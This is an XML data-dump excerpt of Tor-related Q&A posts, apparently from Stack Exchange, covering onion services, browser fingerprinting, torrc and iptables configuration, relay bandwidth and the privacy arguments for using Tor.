  <row Id="23306" PostTypeId="2" ParentId="23290" CreationDate="2022-09-07T18:39:16.630" Score="0" Body="&lt;p&gt;For generating an URL starting with a defined string, you should user mkp224o: &lt;a href=&quot;https://github.com/cathugger/mkp224o&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cathugger/mkp224o&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But depending on your processor frequency and how many letters/numbers are added, it could be very slow to generate such a URL.&lt;/p&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-09-07T18:39:16.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23307" PostTypeId="2" ParentId="23272" CreationDate="2022-09-07T18:45:27.250" Score="0" Body="&lt;p&gt;With DNSCrypt, maybe you didn't set the flag &lt;strong&gt;force_tcp&lt;/strong&gt; to &lt;strong&gt;true&lt;/strong&gt; or maybe the connectivity test should be interfering.&lt;/p&gt;&#xA;&lt;p&gt;Add these lines to your DNSCrypt config and see if it works:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;force_tcp = true&#xA;netprobe_timeout = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-09-07T18:45:27.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23308" PostTypeId="1" CreationDate="2022-09-07T23:39:36.587" Score="1" ViewCount="131" Body="&lt;p&gt;Can you share any V2 .onion hidden services that are still up and running?&lt;/p&gt;&#xA;&lt;p&gt;I am doing a research project and looking into how difficult it is for an older Tor client to reach a V2 hidden service now that the number of HSDirs supporting V2 is very low.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;I am aware V2 is unsafe and no longer supported. I am solely looking into the current situation.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="37176" LastEditorUserId="37176" LastEditDate="2022-09-08T00:40:13.987" LastActivityDate="2022-09-08T00:40:13.987" Title="Which V2 .onion services are still running?" Tags="|onion-services|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23309" PostTypeId="1" CreationDate="2022-09-08T16:42:23.860" Score="-1" ViewCount="137" Body="&lt;p&gt;Consider that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I don't have reasons to be a target of Advanced Persistent Threats or State Funded Cracking, since I'm a Joe Average just browsing the average websites on the average web;&lt;/li&gt;&#xA;&lt;li&gt;all my connections to the websites are HTTPS encrypted using modern ciphers;&lt;/li&gt;&#xA;&lt;li&gt;most of my web browsing is done on my employer's network, and there are thousands of users there sharing the same IP address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Should I have a reason to worry if I don't use Tor Browser all the time there? Who could be a threat to me? Which information is exposed about me?&lt;/p&gt;&#xA;" OwnerUserId="37185" LastEditorUserId="37185" LastEditDate="2022-09-11T21:34:22.610" LastActivityDate="2022-09-11T21:34:22.610" Title="Why should I care about using Tor Browser if I'm just an Joe Average?" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23310" PostTypeId="1" CreationDate="2022-09-09T23:18:31.813" Score="2" ViewCount="168" Body="&lt;p&gt;I was reading about vulnerabilities of onion routing and stumbled across &lt;a href=&quot;https://tor.stackexchange.com/a/116/37175&quot;&gt;correlation attack&lt;/a&gt;. From what I understand, it's possible for authorities to setup some effective analysis program, and de-anonymize most of the onion routing.&lt;/p&gt;&#xA;&lt;p&gt;For example, I submit this question in 12:00 AM, the exit node sends it at 12:00 AM, the stackexchange server lists it as &amp;quot;questioned in Saturday - 12:00 AM&amp;quot;. If I do this with multiple accounts, in multiple places, the authorities can gain confidence that it's my IP behind user Best Quality Vacuum.&lt;/p&gt;&#xA;&lt;p&gt;What I want to know is: Has it ever happened severely, like spying effectively on most Tor users out there? Do criminals who're being constantly watched by the FBI get de-anonymized that way? Does one country have the power to do it, or does it need the permission from the rest?&lt;/p&gt;&#xA;" OwnerUserId="37175" LastActivityDate="2022-09-16T02:44:22.717" Title="Has there ever been a severe correlation attack in onion routing?" Tags="|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23311" PostTypeId="2" ParentId="23309" CreationDate="2022-09-10T08:09:42.587" Score="0" Body="&lt;p&gt;You don't need to be an enemy of the state, to have privacy. Loading up a page with HTTPS versus loading up an HTTPS &lt;em&gt;via Tor&lt;/em&gt; differ by an order of magnitude.&lt;/p&gt;&#xA;&lt;p&gt;With HTTPS (only):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your ISP can track the sites you visit.&lt;/li&gt;&#xA;&lt;li&gt;The owners of the site you visit can track your IP down.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Surfing the net with Tor does hide your activity from both your ISP and those owners. It also comes with some pre-installed plugins such as NoScript that secure you from fingerprinting. It's designed to enhance your security, privacy, and to preserve you censorship resistance on the web.&lt;/p&gt;&#xA;" OwnerUserId="37175" LastActivityDate="2022-09-10T08:09:42.587" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="23312" PostTypeId="2" ParentId="23309" CreationDate="2022-09-10T10:25:37.407" Score="0" Body="&lt;p&gt;You don't have to conceal something if you're doing nothing wrong - but your personal life is &lt;strong&gt;just&lt;/strong&gt; your private matter, that's it! Using darknet is not something bad: it's quite a lot of kiddy porn, warez, drugs and guns in a clearnet as well - even more: there's more of such stuff! It's like the statement &amp;quot;crypto is bad&amp;quot; - oh, really? Let us make a badness rating of both crypto and fiat and measure the numeral criteria by the amount of guns, crime, bribe et cetera paid in a particular matter of exchange... Top-10 will have no even the whole crypto accumulated! The question is &lt;strong&gt;who&lt;/strong&gt; is in control of people's actions and who can - or can't - rob others&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-09-10T10:25:37.407" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23313" PostTypeId="1" CreationDate="2022-09-10T16:03:24.750" Score="0" ViewCount="512" Body="&lt;p&gt;Is today resizing the tor window make it easier for governments to track Tor users?&lt;/p&gt;&#xA;&lt;p&gt;When &lt;code&gt;privacy.resistFingerprinting.letterbox&lt;/code&gt; is on, is it possible to resize the tor window to the maximum without the government/advertising site/Facebook/etc... being able to track me as a person seeking privacy?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What is Letterbox?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Letterbox is a feature that prevents a special resolution like: 1091x949 by adding empty space around the site to round the resolution to 1000x900 and thus prevents a user from making himself special. A resolution of 1091x949 is a very specific number and if a site sees that only one person uses this resolution then it will be easy follow him but if the resolution is 1000x900 then it will be more difficult to follow such a person with a thousand people who have the same resolution.&lt;/p&gt;&#xA;&lt;p&gt;(in any case changing the resolution does not affect your connection to the site you will still be protected and no one can know who you are The browser is well built, YOU are the one who will cause yourself to leak information Like your first name or your IP address or even your email. If you change the resolution when Letterbox is running then in any case when you close the browser the resolution resets to the default settings so I can't figure out how exactly it will matter what the Browser size is if everyone starts Letterbox and opens the window Tor in full window so everyone will have the same resolution which makes tracking a Tor user a bit harder )&lt;/p&gt;&#xA;&lt;p&gt;Am I right?&lt;/p&gt;&#xA;&lt;p&gt;**The only reason I think that tor should not be increased to full window is the possibility of a site to identify, despite the letterbox, on which computer the browser is opened, because there is a difference in the resolution of a laptop and a desktop computer, and Windows is usually because Windows increases the size of applications and text on laptops so that laptop users will be comfortable use the laptop but it can be solved! Simply that Tor will oblige the laptop user to change the &amp;quot;Scale and layout&amp;quot; settings from 120% or any other number to 100% and that way sites will not be able to tell if the Tor user is using a laptop or a desktop computer&lt;/p&gt;&#xA;" OwnerUserId="37227" LastEditorUserId="37185" LastEditDate="2022-12-01T12:30:17.837" LastActivityDate="2022-12-01T12:30:17.837" Title="Today there is privacy.resistFingerprinting.letterbox which prevents Firefox/Tor from Leak the screen resolution of the computer" Tags="|torproject.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23315" PostTypeId="1" CreationDate="2022-09-10T17:58:20.330" Score="1" ViewCount="196" Body="&lt;p&gt;Following &lt;a href=&quot;https://security.stackexchange.com/a/183361&quot;&gt;this&lt;/a&gt; tutorial, I only allowed connections that are routed through my OpenVPN connection. However, this also results in me not being able to establish a connection in the Tor Browser. Is there a way to also explicitly allow Tor connections through iptables?&#xA;These are my current settings:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:INPUT DROP [137:9139]&#xA;:FORWARD DROP [0:0]&#xA;:OUTPUT DROP [0:0]&#xA;-A INPUT -m state --state ESTABLISHED -j ACCEPT&#xA;-A OUTPUT -m owner --gid-owner openvpn -j ACCEPT&#xA;-A OUTPUT -o lo -j ACCEPT&#xA;-A OUTPUT -o tun+ -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="37229" LastEditorUserId="37229" LastEditDate="2022-09-10T20:27:37.780" LastActivityDate="2022-09-10T20:27:37.780" Title="Allow Tor Browser to connect with iptables" Tags="|tor-browser-bundle|connection|openvpn|iptables|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23316" PostTypeId="2" ParentId="23309" CreationDate="2022-09-10T18:30:17.323" Score="0" Body="&lt;p&gt;People don't use Tor because they want encryption (At least encryption not the main reason) people use Tor because they want &amp;quot;complete privacy&amp;quot; where no one knows who they are (And I doubt that the tor browser on the Windows system is anonymous enough)&#xA;There are several types of people:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Those who use tor browser because they think it will protect them from &amp;quot;hackers&amp;quot; (0 percent basic understanding about tor)&lt;/li&gt;&#xA;&lt;li&gt;The people who use the Tor browser as a proxy/&amp;quot;VPN&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Those who use the Tor browser to access dark sites (Most people who enter the dark web do not understand what they are doing)&lt;/li&gt;&#xA;&lt;li&gt;People who are reporters / those who are under totalitarian regime or dictatorial government (Usually such people will not use the tor browser they will use Tails which is an operating system built on the Tor network and uses only RAM memory and is usually installed on a USB Tails is one of the best operating systems for privacy)&lt;/li&gt;&#xA;&lt;li&gt;People who just want privacy are not criminals, they are not reporters, they are not exactly in a dictatorial government, those people just want privacy, it is a basic right that everyone deserves&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I think to some extent everyone needs privacy You need privacy too&#xA;You will be shocked by how much Google and advertising companies know about you&#xA;Watch this video to understand better:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=S4E4yAktjug&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=S4E4yAktjug&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37227" LastActivityDate="2022-09-10T18:30:17.323" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23317" PostTypeId="2" ParentId="23278" CreationDate="2022-09-10T23:57:15.203" Score="0" Body="&lt;p&gt;You may create an anonymous website at any time by just not registering any domain, and letting people access it by typing its IP address. That way, your website will have no name at all.&lt;/p&gt;&#xA;" OwnerUserId="37185" LastActivityDate="2022-09-10T23:57:15.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23319" PostTypeId="2" ParentId="15963" CreationDate="2022-09-11T19:58:40.600" Score="0" Body="&lt;p&gt;You should force Tor to use a specific network interface.&lt;/p&gt;&#xA;&lt;p&gt;This can be achieved by using cgroups and some iptables rules, but there is a simpler way: &lt;a href=&quot;https://gist.github.com/kriswebdev/a8d291936fe4299fb17d3744497b1170&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/kriswebdev/a8d291936fe4299fb17d3744497b1170&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This script do the trick.&lt;/p&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-09-11T19:58:40.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23320" PostTypeId="2" ParentId="23313" CreationDate="2022-09-12T02:38:08.193" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Is it possible to resize the tor window to the maximum without [THEM] being able to track me as a person seeking privacy?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There is no 100% guarantee if you resize to the maximum, nor if you don't resize at all.&lt;/p&gt;&#xA;" OwnerUserId="37185" LastActivityDate="2022-09-12T02:38:08.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23321" PostTypeId="2" ParentId="23254" CreationDate="2022-09-12T02:42:26.757" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;How viable and likely is it that an adversary to saves all tor traffic in order to decrypt it at a later date?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;NSA isn't building more and more data warehouses without a reason.&lt;/p&gt;&#xA;&lt;p&gt;But what makes you think that ALL TOR TRAFFIC is relevant for an adversary to decript and analyse? Most of my Tor browsing is just reading Wikipedia articles. Pretty boring, isn't it?&lt;/p&gt;&#xA;" OwnerUserId="37185" LastActivityDate="2022-09-12T02:42:26.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23323" PostTypeId="1" CreationDate="2022-09-12T22:19:50.357" Score="0" ViewCount="15862" Body="&lt;p&gt;So recently I have been unable to access some onion sites. At first I thought that just the site I was visiting was down but as I have done more research it seems like half of the sites I try to access wont work. I get the error&lt;/p&gt;&#xA;&lt;p&gt;Problem loading onionsite Onionsite Not Found&lt;/p&gt;&#xA;&lt;p&gt;The most likely cause is that the onionsite is offline. Contact the onionsite administrator.&lt;/p&gt;&#xA;&lt;p&gt;Details: 0xF0 — The requested onion service descriptor can't be found on the hashring and therefore the service is not reachable by the client.&lt;/p&gt;&#xA;&lt;p&gt;These are V3 site addresses not V2, I have tried mirrors, checking my data and time against the wiki clock, getting a new identity, and a fresh reinstall of the tor browser.&lt;/p&gt;&#xA;&lt;p&gt;Anyone else having this issue or solved it in the past?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="37239" LastActivityDate="2023-08-19T14:05:15.613" Title="I can no longer access many onion sites" Tags="|tor-browser-bundle|onion-routing|help|error|onionaddress|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23324" PostTypeId="1" CreationDate="2022-09-13T00:39:46.560" Score="-1" ViewCount="93" Body="&lt;p&gt;When reading Wikipedia, which benefits arise of doing it through Tor versus doing it by the common default web way?&lt;/p&gt;&#xA;" OwnerUserId="37185" LastEditorUserId="37185" LastEditDate="2022-09-13T00:45:57.903" LastActivityDate="2022-09-13T23:16:46.730" Title="Reading Wikipedia through Tor : will my life be safer this way?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23325" PostTypeId="2" ParentId="23324" CreationDate="2022-09-13T18:45:49.757" Score="1" Body="&lt;p&gt;It's perfectly ok as Wikipedia doesn't require javascript, you can just turn it off.&lt;/p&gt;&#xA;&lt;p&gt;Using Tor, Wikipedia cannot see your home address and using Tor as TorBrowser, it couldn't track and fingerprint you.&lt;/p&gt;&#xA;&lt;p&gt;But I believe Wikipedia block Tor and open proxies IPs from editing its pages, so if you are going to edit anything there, you should use a non-blacklisted IP of a VPN, SSH proxy, Shadowsocks and so on.&lt;/p&gt;&#xA;" OwnerUserId="34847" LastEditorUserId="34847" LastEditDate="2022-09-13T23:16:46.730" LastActivityDate="2022-09-13T23:16:46.730" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23326" PostTypeId="1" CreationDate="2022-09-15T14:30:53.580" Score="1" ViewCount="67" Body="&lt;p&gt;I was wondering how do I send my data through the tor circuit twice (6 relays instead of the normal 3) if that would add extra security so I can be fully untraceable?&lt;/p&gt;&#xA;" OwnerUserId="37258" LastActivityDate="2022-09-16T00:28:39.893" Title="Hello, how do I run my information over the tor network twice" Tags="|relays|exit-relays|circuit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23327" PostTypeId="1" CreationDate="2022-09-15T19:27:52.633" Score="1" ViewCount="150" Body="&lt;p&gt;How &lt;em&gt;Open in Tor&lt;/em&gt; can shown on the right side of browser (Brave by default) address bar as seen on &lt;a href=&quot;https://brave.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;brave.com&lt;/a&gt; and other pages?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yCPK9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yCPK9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Even I wasn't able to find the proper name of those icons to go deeper. Any kindof useful information can come.&lt;/p&gt;&#xA;&lt;p&gt;The closest what I found: &lt;a href=&quot;https://www.how2shout.com/how-to/use-tor-network-brave-browser.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to use the Tor network on Brave privacy-centric web browser for PC&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37260" LastActivityDate="2022-09-15T20:04:26.607" Title="&quot;Open in Tor&quot; on the right side of Brave's URL bar" Tags="|url|brave|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23328" PostTypeId="2" ParentId="23327" CreationDate="2022-09-15T20:04:26.607" Score="1" Body="&lt;p&gt;With the help from outside of &lt;code&gt;stackexchange.com&lt;/code&gt; I got the answer:&lt;/p&gt;&#xA;&lt;p&gt;Using  &lt;code&gt;curl -sI https://radar.squat.net/en | grep -i onion&lt;/code&gt; reveals the &lt;em&gt;&lt;strong&gt;Onion-Location&lt;/strong&gt;&lt;/em&gt; keyword which lead to &lt;strong&gt;the answer&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://brave.com/new-onion-service/#content-area&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Brave.com now has its own Tor Onion Service&lt;/em&gt;&lt;/a&gt; announcement refers to the &lt;a href=&quot;https://community.torproject.org/onion-services/advanced/onion-location/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Tor Project | Onion-Location&lt;/em&gt;&lt;/a&gt; page revealing:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;You can either configure a web server to show an Onion-Location Header or add an HTML &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; attribute in the website.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The relevant code can be found on &lt;em&gt;GitHub&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/brave/brave-core/blob/55e8de4e8010c82ab52fa501a60a515aaee5fa0c/components/tor/onion_location_navigation_throttle.cc#L73-L100&quot; rel=&quot;nofollow noreferrer&quot;&gt;brave-core/onion_location_navigation_throttle.cc at 55e8de4e8010c82ab52fa501a60a515aaee5fa0c · brave/brave-core&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="37260" LastActivityDate="2022-09-15T20:04:26.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23329" PostTypeId="2" ParentId="23326" CreationDate="2022-09-16T00:28:39.893" Score="0" Body="&lt;p&gt;You cannot route your traffic over the Tor network twice since relays &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/issues/2667&quot; rel=&quot;nofollow noreferrer&quot;&gt;will not allow&lt;/a&gt; new circuits originating from exit relays.&lt;/p&gt;&#xA;&lt;p&gt;It's not recommended to use longer-length circuits. The standard circuit length of 3 has been chosen since having more than 3 doesn't provide a significant benefit for the extra load it puts on the Tor network. It could potentially make you &lt;em&gt;more&lt;/em&gt; identifiable since your traffic may look significantly different from other users (for example your latency will be twice as long on average).&lt;/p&gt;&#xA;&lt;p&gt;If you really wanted to use longer-length circuits, I can think of two options:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Increase &lt;code&gt;DEFAULT_ROUTE_LEN&lt;/code&gt; in tor's source code. This option isn't really meant to be changed, so it's likely something will break.&lt;/li&gt;&#xA;&lt;li&gt;Use tor's control port to build longer-length circuits. For example with stem, you could use &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.extend_circuit&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;controller.extend_circuit()&lt;/code&gt;&lt;/a&gt;. You will have to write your own script to do this.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;so I can be fully untraceable?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You will never be fully untraceable, so I wouldn't worry about that.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-09-16T00:28:39.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23330" PostTypeId="2" ParentId="23310" CreationDate="2022-09-16T02:43:16.577" Score="0" Body="&lt;p&gt;With the spy agencies, I think you would never know unless there's a leak.  For criminals in the countries with public court records, you may see some.  The biggest known real-world &amp;quot;correlation attack&amp;quot; on Tor was perhaps:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tor_(network)#Relay_early_traffic_confirmation_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Tor_(network)#Relay_early_traffic_confirmation_attack&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For an individual user, there was a Harvard student who sent an Bomb email who got caught.  Tor didn't prevent him from getting caught because 1) email has some info (such as timestamp) 2) authority suspected it was from internal source 3) Harvard kept logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.forbes.com/sites/runasandvik/2013/12/18/harvard-student-receives-f-for-tor-failure-while-sending-anonymous-bomb-threat/?sh=41e49f6b5457&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.forbes.com/sites/runasandvik/2013/12/18/harvard-student-receives-f-for-tor-failure-while-sending-anonymous-bomb-threat/?sh=41e49f6b5457&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;spying, we don't know&lt;/li&gt;&#xA;&lt;li&gt;monitoring criminals on Tor on a mass scale with technical means, probably not.  They usually caught suspects using some combinations of traditional/technical means which tend to target specific subgroups.&lt;/li&gt;&#xA;&lt;li&gt;to do correlation attack, the organization just needs to have resources to put as many relays as possible in the Tor network.  Anybody with enough resources and clever about hiding their malicious intent can do it.  No permission required.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="37103" LastEditorUserId="37103" LastEditDate="2022-09-16T02:44:22.717" LastActivityDate="2022-09-16T02:44:22.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23331" PostTypeId="2" ParentId="16894" CreationDate="2022-09-17T11:54:11.353" Score="0" Body="&lt;p&gt;I'm using &lt;em&gt;Rebex Tiny SFTP Server&lt;/em&gt; for windows and configured it in tor. Working fine.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torrc file Settings&#xA;&#xA;HiddenServiceDir X:\Tor Browser\hidden_sftp&#xA;HiddenServicePort 22 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="37266" LastEditorUserId="37266" LastEditDate="2022-09-17T11:54:41.120" LastActivityDate="2022-09-17T11:54:41.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23333" PostTypeId="2" ParentId="20342" CreationDate="2022-09-18T05:21:57.640" Score="0" Body="&lt;p&gt;&amp;quot;block all the relays IPs that are posted on the TOR Relays List.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;That is where you are mistaken. That is not what happens, there is provided by Tor Project itself Onionoo API, that allows anyone to query an IP address and ask whether it is an exit node or relay, so that makes Tor useless for editing wikipedia, e.g. or really using any CDN, Google, Cloudflare.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediawiki.org/wiki/Extension:TorBlock&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediawiki.org/wiki/Extension:TorBlock&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/wikimedia/mediawiki-extensions-TorBlock/commit/b7be2169909d1f809c92f3f5dfff79b28af6e9c4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/wikimedia/mediawiki-extensions-TorBlock/commit/b7be2169909d1f809c92f3f5dfff79b28af6e9c4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29945" LastEditorUserId="29945" LastEditDate="2022-09-18T05:34:17.040" LastActivityDate="2022-09-18T05:34:17.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23336" PostTypeId="1" AcceptedAnswerId="23338" CreationDate="2022-09-21T02:24:29.850" Score="0" ViewCount="127" Body="&lt;p&gt;Let's take a random Tor relay: &lt;strong&gt;privater&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tor Metrics says that it has a speed of 30 MiB/s: &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/57A295377F3167AD554B521F4615184943C39CE1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/57A295377F3167AD554B521F4615184943C39CE1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking this relay information in cached-microdesc-consensus file there is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r privater V6KVN38xZ61VS1IfRhUYSUPDnOE 2022-09-20 09:42:36 135.181.213.167 9000 0&#xA;a [2a01:4f9:3a:2b96::2]:9000&#xA;m 7CS8bNPTtPdgx1Dlo7J+rJdyKHtTtowCHmAUNjfV8Ic&#xA;s Fast Guard Running Stable V2Dir Valid&#xA;v Tor 0.4.7.10&#xA;pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;w Bandwidth=71000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Bandwidth field is &amp;quot;71000&amp;quot;, nothing related with advertised bandwidth in Tor Metrics relay page.&lt;/p&gt;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&lt;p&gt;How can I pick up the advertised bandwidth of a Tor relay by looking at cached-microdesc-consensus file?&lt;/p&gt;&#xA;&lt;p&gt;PS: I need to know that because I'm writing a shell script that select Tor relays by their bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-09-21T03:37:13.133" Title="How can I get the right advertised bandwidth of a relay by looking at cached-microdesc-consensus file?" Tags="|relays|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23337" PostTypeId="1" AcceptedAnswerId="23339" CreationDate="2022-09-21T02:35:48.717" Score="0" ViewCount="1184" Body="&lt;p&gt;I have these options in my torrc file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {at},{be},{bg},{ch},{cz},{cy},{de},{hk},{is},{jp},{lu},{nl},{no},{pa},{ro},{sc},{sk},{si},{ua},{vg}&#xA;EntryNodes {at},{be},{bg},{ch},{cz},{cy},{de},{hk},{is},{jp},{lu},{nl},{no},{pa},{ro},{sc},{sk},{si},{ua},{vg}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And also an option to exclude nodes with low bandwidth (I wrote a [...] because the list is very long):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes &amp;quot;$000a10d43011ea4928a35f610405f92b4433b4dc,$0011bd2485ad45d984ec4159c88fc066e5e3300e,$00152dfab972a3f8b08648e14a7b098cc29483e9,$00240ecb2b535aa4c1e1874d744dfa6af2e5e941,$00283b5564e3072dcddab31d6ef622dd49bf524f,$0036fa36ab435fd5d0f640626636867ebfb72c68,[...]&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Let's suppose that some relays specified by ExcludeNodes is of a country selected by options ExitNodes and EntryNodes.&lt;/p&gt;&#xA;&lt;p&gt;/\ In this case, will option ExcludeNodes exclude these exit nodes even if they are matched by options ExitNodes and EntryNodes?&lt;/p&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-09-21T03:45:23.807" Title="If I exclude Tor nodes using option ExcludeNodes, will it exclude also some Tor nodes select by options EntryNodes and ExitNodes?" Tags="|configuration|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
